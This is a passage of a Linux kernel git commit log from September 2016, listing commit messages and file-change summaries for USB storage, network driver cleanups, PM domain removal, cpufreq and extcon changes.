050bc4e846af24e77af82d0fa5f718e0919d15a4 Author: Oliver Neukum Date: Mon Sep 12 15:19:41 2016 +0200 scsi: introduce a quirk for false cache reporting Some SATA to USB bridges fail to cooperate with some drives resulting in no cache being present being reported to the host. That causes the host to skip sending a command to synchronize caches. That causes data loss when the drive is powered down. Signed-off-by: Oliver Neukum Reviewed-by: Martin K. Petersen Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Documentation/kernel-parameters.txt | 2 ++ drivers/usb/storage/scsiglue.c | 8 ++++++++ drivers/usb/storage/unusual_devs.h | 7 +++++++ drivers/usb/storage/usb.c | 6 +++++- include/linux/usb_usual.h | 2 ++ 5 files changed, 24 insertions(+), 1 deletion(-) commit 26c9cac402c491c552caf7483eda49aee095243a Author: Felipe Balbi Date: Mon Sep 12 21:20:22 2016 +0300 usb: dwc3: of-simple: allow glues without clocks Instead of erroring out when we don't have clocks, let's just avoid any calls to the clk API. Tested-by: Steven J. Hill Signed-off-by: Felipe Balbi drivers/usb/dwc3/dwc3-of-simple.c | 44 +++++++++++++++++++++++++-------------- 1 file changed, 28 insertions(+), 16 deletions(-) commit 2686ebfdf7f9af6bec5b173b629aff7370b21f17 Author: Navare, Manasi D Date: Mon Sep 12 18:04:23 2016 -0700 drm/i915: Add support for Kabylake to function obtaining shared PLL This adds support for KBL in the new function added in commit ID: commit that returns a shared pll in case of DDI platforms. Signed-off-by: Manasi Navare Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi Link: http://patchwork.freedesktop.org/patch/msgid/1473728663-14355-1-git-send-email-manasi.d.navare@intel.com drivers/gpu/drm/i915/intel_ddi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aad9e5ba243336d2b133e7fa9aace1a51d6fdae6 Author: Markus Elfring Date: Mon Sep 12 22:33:53 2016 +0200 KVM: PPC: e500: Rename jump labels in kvmppc_e500_tlb_init() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Paul Mackerras arch/powerpc/kvm/e500_mmu.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 4c73195edbe3a5d7e14ea549bb261cf35c29f0cc Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:46 2016 -0400 iwlegacy: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/wireless/intel/iwlegacy/common.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5f94bebe72ede10da4b779690894f34b259cfce4 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:45 2016 -0400 hamradio: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/hamradio/bpqether.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 12c70f30533ebf31e86c070253555149b9bf6ff6 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:44 2016 -0400 stmmac: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Reviewed-by: Alexandre TORGUE Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/common.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 547e530a5e10fbc8e78bf2573508e46ca1bf571f Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:43 2016 -0400 sis900: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Acked-by: Daniele Venzano Signed-off-by: David S. Miller drivers/net/ethernet/sis/sis900.c | 4 ++-- drivers/net/ethernet/sis/sis900.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 795f02344af4c81ddc30a90f0b11b7bba053abd4 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:42 2016 -0400 sfc: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Acked-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/falcon_boards.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cbbe6096de425131e94c95bfe017718dc625330e Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:41 2016 -0400 natsemi: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/natsemi/ns83820.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bb152934015bb1f3633ead0cd3404227355294ea Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:40 2016 -0400 net: mvneta: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvneta_bm.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ee58c1149e2bba6043e31f736f6f6136562758ac Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:39 2016 -0400 ixgbe: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/intel/ixgbe/ixgbe.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e2eae5b80f66a9a9b6fd5246fffc86d9ec3f49df Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:38 2016 -0400 i825xx: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/i825xx/82596.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 504e76e5b93d9c6a5fbfaa8ea63ad3f7fe77f601 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:37 2016 -0400 net/fsl_pq_mdio: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fsl_pq_mdio.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 067577868b4fdeaf2f93ec5c4e9b29a0eded6528 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:36 2016 -0400 sundance: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/dlink/sundance.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit da556d6a1a386aaf9ead99ef5574497c535bd26e Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:35 2016 -0400 bnx2: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 941992d2944789641470626e9336d663236b1d28 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:34 2016 -0400 ethernet: amd: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Reviewed-by: Geert Uytterhoeven Signed-off-by: David S. Miller drivers/net/ethernet/amd/7990.c | 6 +++--- drivers/net/ethernet/amd/amd8111e.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit 5a5ab1611aa5c17a32b64a4c5069c26e1fd7c960 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:33 2016 -0400 starfire: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/adaptec/starfire.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aa211d2074ec4266b89673a54719421464c943e3 Author: Javier Martinez Canillas Date: Mon Sep 12 10:03:32 2016 -0400 3c59x: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/3com/3c59x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 38085c987f52674c2cc84fa0c0788eb71137cb2b Author: Stephen Boyd Date: Fri Sep 9 14:48:47 2016 -0700 extcon: Add support for qcom SPMI PMIC USB id detection hardware Some Qualcomm PMICs have a misc device that performs USB id pin detection via an interrupt. When the interrupt triggers, we should read the interrupt line to see if it has gone high or low. If the interrupt is low then the ID pin is grounded, and if the interrupt is high then the ID pin is being held high. Cc: Roger Quadros Signed-off-by: Stephen Boyd [cw00.choi: Edited the driver description and added the author information] Signed-off-by: Chanwoo Choi .../bindings/extcon/qcom,pm8941-misc.txt | 41 +++++ drivers/extcon/Kconfig | 6 + drivers/extcon/Makefile | 1 + drivers/extcon/extcon-qcom-spmi-misc.c | 170 +++++++++++++++++++++ 4 files changed, 218 insertions(+) commit 8670b4598064007abfc44554e713fa2004734e1d Author: Chanwoo Choi Date: Tue Aug 16 15:55:34 2016 +0900 extcon: Use the extcon_set_state_sync() instead of deprecated functions This patch alters the renamed extcon API to set the state of the external connectors instead of deprecated extcon_set_cable_state_(). Because the patch[1] modifies the function name to maintain the function naming pattern. - extcon_set_cable_state_() -> extcon_set_state_sync() - extcon_get_cable_state_() -> extcon_get_state() [1] https://lkml.org/lkml/2016/8/4/729 - extcon: Rename the extcon_set/get_state() to maintain the function naming pattern Signed-off-by: Chanwoo Choi Acked-by: Charles Keepax Acked-by: Roger Quadros drivers/extcon/extcon-adc-jack.c | 4 ++-- drivers/extcon/extcon-arizona.c | 16 +++++++------- drivers/extcon/extcon-axp288.c | 2 +- drivers/extcon/extcon-gpio.c | 2 +- drivers/extcon/extcon-max14577.c | 14 ++++++------ drivers/extcon/extcon-max3355.c | 8 +++---- drivers/extcon/extcon-max77693.c | 46 ++++++++++++++++++++-------------------- drivers/extcon/extcon-max77843.c | 22 +++++++++---------- drivers/extcon/extcon-max8997.c | 20 ++++++++--------- drivers/extcon/extcon-palmas.c | 16 +++++++------- drivers/extcon/extcon-rt8973a.c | 4 ++-- drivers/extcon/extcon-sm5502.c | 4 ++-- drivers/extcon/extcon-usb-gpio.c | 8 +++---- 13 files changed, 83 insertions(+), 83 deletions(-) commit 525867dbd11899835a029da3532eeee9f773db31 Author: Colin Ian King Date: Wed Aug 17 19:02:35 2016 +0100 extcon: axp288: Fix spelling mistake This patch fixes the spelling mistake in dev_dbg messages. Signed-off-by: Colin Ian King [cw00.choi: Modify the patch title/description] Signed-off-by: Chanwoo Choi drivers/extcon/extcon-axp288.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e5b07e555b02da6a171d8c4c670c4da0f219abde Author: Krzysztof Kozlowski Date: Wed Aug 17 14:07:44 2016 +0200 extcon: max14577: Change Krzysztof Kozlowski's email to kernel.org Change my email address to kernel.org instead of Samsung one for the purpose of any future contact. The copyrights remain untouched and are attributed to Samsung. Signed-off-by: Krzysztof Kozlowski Signed-off-by: Chanwoo Choi drivers/extcon/extcon-max14577.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a217726a7df146fcfea6f37cbbc80849083260b6 Author: Julia Lawall Date: Sun Sep 11 15:06:06 2016 +0200 ACPI / APD: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_apd.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f75ee9a8816824683e22aee2790f43a9fc43c613 Merge: bd2058d 20a875e Author: Rafael J. Wysocki Date: Tue Sep 13 03:12:20 2016 +0200 Merge branch 'device-properties' into acpi-soc commit c7914e8dfa4032d24ef7af4c86b9c841ec6b74e6 Author: Chris Zhong Date: Fri Sep 9 19:15:44 2016 -0700 extcon: Introduce EXTCON_PROP_DISP_HPD property EXTCON_PROP_DISP_HPD is need by display port, if the system has no hpd interrupt, this property can be used. - HPD (Hot Plug Detect) send the signal whether display device is on or off to source device. Signed-off-by: Chris Zhong Reviewed-by: Guenter Roeck [cw00.choi: Add the description of HPD and full name of HPD] Signed-off-by: Chanwoo Choi include/linux/extcon.h | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit e41f323ab0e2fec843ab03219f1454dd9147dfcd Merge: 9395452 5a893e3 Author: Rafael J. Wysocki Date: Tue Sep 13 02:57:31 2016 +0200 Merge tag 'pull_whole_for_4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mzx/devfreq into pm-devfreq Pull devfreq material for v4.9 from MyungJoo Ham. * tag 'pull_whole_for_4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mzx/devfreq: PM / devfreq: rockchip: add devfreq driver for rk3399 dmc Documentation: bindings: add dt documentation for rk3399 dmc PM / devfreq: event: support rockchip dfi controller Documentation: bindings: add dt documentation for dfi controller PM / devfreq: event: remove duplicate devfreq_event_get_drvdata() PM / devfreq: fix Kconfig indent style PM / devfreq: Add COMPILE_TEST for build coverage PM / devfreq: exynos-ppmu: remove unneeded of_node_put() commit e323218fb9b839a5295d48b6c838e9c938649f5a Merge: 8314bc8 08023fb Author: Rafael J. Wysocki Date: Tue Sep 13 02:53:37 2016 +0200 Merge tag 'samsung-defconfig-schedutil-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into pm-cpufreq-sched The schedutil cpufreq governor will be switched from tristate to bool. Fix defconfigs. * tag 'samsung-defconfig-schedutil-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: ARM: multi_v7_defconfig: Don't attempt to enable schedutil governor as module ARM: exynos_defconfig: Don't attempt to enable schedutil governor as module commit 17926551c98a4ff5d7fa3a574c60534fedb3f2c6 Author: Jon Hunter Date: Mon Sep 12 12:01:14 2016 +0100 PM / Domains: Add support for removing nested PM domains by provider If a device supports PM domains that are subdomains of another PM domain, then the PM domains should be removed in reverse order to ensure that the subdomains are removed first. Furthermore, if there is more than one provider, then there needs to be a way to remove the domains in reverse order for a specific provider. Add the function of_genpd_remove_last() to remove the last PM domain added by a given PM domain provider and return the generic_pm_domain structure for the PM domain that was removed. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 35 +++++++++++++++++++++++++++++++++++ include/linux/pm_domain.h | 7 +++++++ 2 files changed, 42 insertions(+) commit 3fe577107ccf1974958701df710e0b07ef16db75 Author: Jon Hunter Date: Mon Sep 12 12:01:13 2016 +0100 PM / Domains: Add support for removing PM domains The genpd framework allows users to add PM domains via the pm_genpd_init() function, however, there is no corresponding function to remove a PM domain. For most devices this may be fine as the PM domains are never removed, however, for devices that wish to populate the PM domains from within a driver, having the ability to remove a PM domain if the probing of the device fails or the driver is unloaded is necessary. Add the function pm_genpd_remove() to remove a PM domain by referencing it's generic_pm_domain structure. Note that the bulk of the code that removes the PM domain is placed in a separate local function genpd_remove() (which is called by pm_genpd_remove()). The code is structured in this way to prepare for adding another function to remove a PM domain by provider that will also call genpd_remove(). Note that users of genpd_remove() must call this function with the mutex, gpd_list_lock, held. PM domains can only be removed if the associated provider has been removed, they are not a parent domain to another PM domain and have no devices associated with them. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 60 +++++++++++++++++++++++++++++++++++++++++++++ include/linux/pm_domain.h | 5 ++++ 2 files changed, 65 insertions(+) commit de0aa06d8b1c39df1071bfe169b3b97ca6bc01ac Author: Jon Hunter Date: Mon Sep 12 12:01:12 2016 +0100 PM / Domains: Store the provider in the PM domain structure It is possible that a device has more than one provider of PM domains and to support the removal of a PM domain by provider, it is necessary to store a reference to the provider in the PM domain structure. Therefore, store a reference to the firmware node handle in the PM domain structure and populate it when providers (only device-tree based providers are currently supported by PM domains) are registered. Please note that when removing PM domains, it is necessary to verify that the PM domain provider has been removed from the list of providers before the PM domain can be removed. To do this add another member to the PM domain structure that indicates if the provider is present and set this member accordingly when providers are added and removed. Initialise the 'provider' and 'has_provider' members of the generic_pm_domain structure when a PM domains is added by calling pm_genpd_init(). Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 42 +++++++++++++++++++++++++++++++++++++----- include/linux/pm_domain.h | 2 ++ 2 files changed, 39 insertions(+), 5 deletions(-) commit 19efa5ff63dc5ed41ac85f5a8518aa77cece3776 Author: Jon Hunter Date: Mon Sep 12 12:01:11 2016 +0100 PM / Domains: Prepare for adding support to remove PM domains In order to remove PM domains safely from the list of PM domains, it is necessary to adding locking for the PM domain list around any places where devices or subdomains are added to a PM domain. There are places where a reference to a PM domain is obtained via calling of_genpd_get_from_provider() before adding the device or the subdomain. In these cases a lock for the PM domain list needs to be held around the call to of_genpd_get_from_provider() and the call to add the device/subdomain. To avoid deadlocks by multiple attempts to obtain the PM domain list lock, add functions genpd_add_device() and genpd_add_subdomain() which require the user to hold the PM domain list lock when calling. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 97 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 73 insertions(+), 24 deletions(-) commit 0159ec670763dde7c8518034eda8ab9ec267fd23 Author: Jon Hunter Date: Mon Sep 12 12:01:10 2016 +0100 PM / Domains: Verify the PM domain is present when adding a provider When a PM domain provider is added, there is currently no way to tell if any PM domains associated with the provider are present. Naturally, the PM domain provider should not be registered if the PM domains have not been added. Nonetheless, verify that the PM domain(s) associated with a provider are present when registering the PM domain provider. This change adds a dependency on the function pm_genpd_present() when CONFIG_PM_GENERIC_DOMAINS_OF is enabled and so ensure this function is available when CONFIG_PM_GENERIC_DOMAINS_OF selected. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 41 ++++++++++++++++++++++++++++++++++++++--- 1 file changed, 38 insertions(+), 3 deletions(-) commit 892ebdcccb4e11c5b43036a50e89e3869df5b429 Author: Jon Hunter Date: Mon Sep 12 12:01:09 2016 +0100 PM / Domains: Don't expose xlate and provider helper functions Functions __of_genpd_xlate_simple(), __of_genpd_xlate_onecell() and __of_genpd_add_provider() are not used outside of the core generic PM domain code. Therefore, reduce the number of APIs exposed by making these static. At the same time don't expose the typedef for genpd_xlate_t either and make this a local definition as well. The functions are renamed to follow the naming conventions for static functions in the generic PM domain core. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 49 ++++++++++++++++++++++++++++++++++----------- include/linux/pm_domain.h | 42 +++++++++++++------------------------- 2 files changed, 51 insertions(+), 40 deletions(-) commit f58d4e5ab0ca3453f091eab514474e9fdbfc539f Author: Jon Hunter Date: Mon Sep 12 12:01:08 2016 +0100 PM / Domains: Don't expose generic_pm_domain structure to clients There should be no need to expose the generic_pm_domain structure to clients and this eliminates the need to implement reference counting for any external reference to a PM domain. Therefore, make the functions pm_genpd_lookup_dev() and of_genpd_get_from_provider() private to the PM domain core. The functions are renamed in accordance with the naming conventions for genpd static functions. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 19 +++++++++---------- include/linux/pm_domain.h | 14 -------------- 2 files changed, 9 insertions(+), 24 deletions(-) commit 3468c9d9ef5cc0f5375b7bc0b2ab360b559fc1a9 Author: Jon Hunter Date: Mon Sep 12 12:01:07 2016 +0100 staging: board: Remove calls to of_genpd_get_from_provider() Update the staging/board PM domain code to use the of_genpd_add_subdomain() and remove any calls to of_genpd_get_from_provider(). Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/staging/board/board.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 8d68c3713aa6dcf4f65f7fa8f0b6f692ace18d07 Author: Jon Hunter Date: Mon Sep 12 12:01:06 2016 +0100 ARM: EXYNOS: Remove calls to of_genpd_get_from_provider() Update the EXYNOS PM domain code to use the of_genpd_add_subdomain() and remove any calls to of_genpd_get_from_provider(). Signed-off-by: Jon Hunter Reviewed-by: Krzysztof Kozlowski Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/soc/samsung/pm_domains.c | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) commit ec69572b3f0daf1f26b3e563d56e487d515a3cd1 Author: Jon Hunter Date: Mon Sep 12 12:01:05 2016 +0100 PM / Domains: Add new helper functions for device-tree Ideally, if we are returning a reference to a PM domain via a call to of_genpd_get_from_provider(), then we should keep track of such references via a reference count. The reference count could then be used to determine if a PM domain can be safely removed. Alternatively, it is possible to avoid such external references by providing APIs to access the PM domain and hence, eliminate any calls to of_genpd_get_from_provider(). Add new helper functions for adding a device and a subdomain to a PM domain when using device-tree, so that external calls to of_genpd_get_from_provider() can be removed. Signed-off-by: Jon Hunter Acked-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 46 +++++++++++++++++++++++++++++++++++++++++++++ include/linux/pm_domain.h | 16 ++++++++++++++++ 2 files changed, 62 insertions(+) commit ad38677df44b67e0f5b6c4d31e9c2734abde8ed9 Author: Al Stone Date: Wed Jul 20 15:10:04 2016 -0600 cpufreq: CPPC: Force reporting values in KHz to fix user space interface When CPPC is being used by ACPI on arm64, user space tools such as cpupower report CPU frequency values from sysfs that are incorrect. What the driver was doing was reporting the values given by ACPI tables in whatever scale was used to provide them. However, the ACPI spec defines the CPPC values as unitless abstract numbers. Internal kernel structures such as struct perf_cap, in contrast, expect these values to be in KHz. When these struct values get reported via sysfs, the user space tools also assume they are in KHz, causing them to report incorrect values (for example, reporting a CPU frequency of 1MHz when it should be 1.8GHz). The downside is that this approach has some assumptions: (1) It relies on SMBIOS3 being used, *and* that the Max Frequency value for a processor is set to a non-zero value. (2) It assumes that all processors run at the same speed, or that the CPPC values have all been scaled to reflect relative speed. This patch retrieves the largest CPU Max Frequency from a type 4 DMI record that it can find. This may not be an issue, however, as a sampling of DMI data on x86 and arm64 indicates there is often only one such record regardless. Since CPPC is relatively new, it is unclear if the ACPI ASL will always be written to reflect any sort of relative performance of processors of differing speeds. (3) It assumes that performance and frequency both scale linearly. For arm64 servers, this may be sufficient, but it does rely on firmware values being set correctly. Hence, other approaches will be considered in the future. This has been tested on three arm64 servers, with and without DMI, with and without CPPC support. Signed-off-by: Al Stone Signed-off-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cppc_cpufreq.c | 53 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 49 insertions(+), 4 deletions(-) commit e2cdeaa1232d41b2b8d2da67490f609ac0b7b0dc Author: Joe Perches Date: Fri Aug 19 09:15:50 2016 -0700 PM / AVS: SmartReflex: Neaten logging Use a more common logging style. Miscellanea: o Use pr_warn o Coalesce formats adding missing spaces o Argument alignment o Remove unnecessary OOM messages as k.alloc does stack dumps Signed-off-by: Joe Perches Acked-by: Nishanth Menon [khilman: update shortlog] Signed-off-by: Kevin Hilman Signed-off-by: Rafael J. Wysocki drivers/power/avs/smartreflex.c | 115 +++++++++++++++++++--------------------- 1 file changed, 54 insertions(+), 61 deletions(-) commit 26619804e733bbe8a01ab8a438f91e230e91373a Author: Viresh Kumar Date: Mon Sep 12 12:07:05 2016 +0530 cpufreq: create link to policy only for registered CPUs If a cpufreq driver is registered very early in the boot stage (e.g. registered from postcore_initcall()), then cpufreq core may generate kernel warnings for it. In this case, the CPUs are brought online, then the cpufreq driver is registered, and then the CPU topology devices are registered. However, by the time cpufreq_add_dev() gets called, the cpu device isn't stored in the per-cpu variable (cpu_sys_devices,) which is read by get_cpu_device(). So the cpufreq core fails to get device for the CPU, for which cpufreq_add_dev() was called in the first place and we will hit a WARN_ON(!cpu_dev). Even if we reuse the 'dev' parameter passed to cpufreq_add_dev() to avoid that warning, there might be other CPUs online that share the policy with the cpu for which cpufreq_add_dev() is called. Eventually get_cpu_device() will return NULL for them as well, and we will hit the same WARN_ON() again. In order to fix these issues, change cpufreq core to create links to the policy for a cpu only when cpufreq_add_dev() is called for that CPU. Reuse the 'real_cpus' mask to track that as well. Note that cpufreq_remove_dev() already handles removal of the links for individual CPUs and cpufreq_add_dev() has aligned with that now. Reported-by: Russell King Tested-by: Russell King Signed-off-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq.c | 89 +++++++++++++++-------------------------------- 1 file changed, 28 insertions(+), 61 deletions(-) commit 42ce8921cca08ae8d9068968e6658cae856a99df Author: Julia Lawall Date: Sun Sep 11 15:06:01 2016 +0200 intel_pstate: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 297a66221d2bed61e7d74d11bf071c7b489fc33d Author: Viresh Kumar Date: Fri Sep 9 16:48:08 2016 +0530 cpufreq: dt: Support governor tunables per policy The cpufreq-dt driver is also used for systems with multiple clock/voltage domains for CPUs, i.e. multiple cpufreq policies in a system. And in such cases the platform users may want to enable "governor tunables per policy". Support that via platform data, as not all users of the driver would want that behavior. Reported-by: Juri Lelli Signed-off-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq-dt-platdev.c | 7 +++++-- drivers/cpufreq/cpufreq-dt.c | 6 ++++++ drivers/cpufreq/cpufreq-dt.h | 19 +++++++++++++++++++ 3 files changed, 30 insertions(+), 2 deletions(-) commit 33cc4fc1b2147ee3cf36d02c1106456cb276c043 Author: Viresh Kumar Date: Fri Sep 9 16:48:07 2016 +0530 cpufreq: dt: Update kconfig description The cpufreq DT driver also supports systems that have multiple clock/voltage domains for CPUs, i.e. multiple policy systems. The description of the Kconfig entry was never updated after the driver was modified to support such systems, fix it. Reported-by: Juri Lelli Signed-off-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e86eee6bc2aaa6b3637f6497b26beee09a91bde9 Author: Viresh Kumar Date: Fri Sep 9 16:48:06 2016 +0530 cpufreq: dt: Remove unused code This is leftover from an earlier patch which removed the usage of platform data but forgot to remove this line. Remove it now. Signed-off-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq-dt.c | 2 -- 1 file changed, 2 deletions(-) commit dabe73cbeba463e559741355afce010cea7dacaf Author: Jean Delvare Date: Fri Sep 9 13:05:24 2016 +0200 MAINTAINERS: Add Documentation/cpu-freq/ I am told the cpufreq documentation updates should go to the PM list. Signed-off-by: Jean Delvare Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 1ad1410f632d4141221634308a5e56f339f92009 Author: Anisse Astier Date: Fri Sep 9 10:43:32 2016 +0200 PM / Hibernate: allow hibernation with PAGE_POISONING_ZERO PAGE_POISONING_ZERO disables 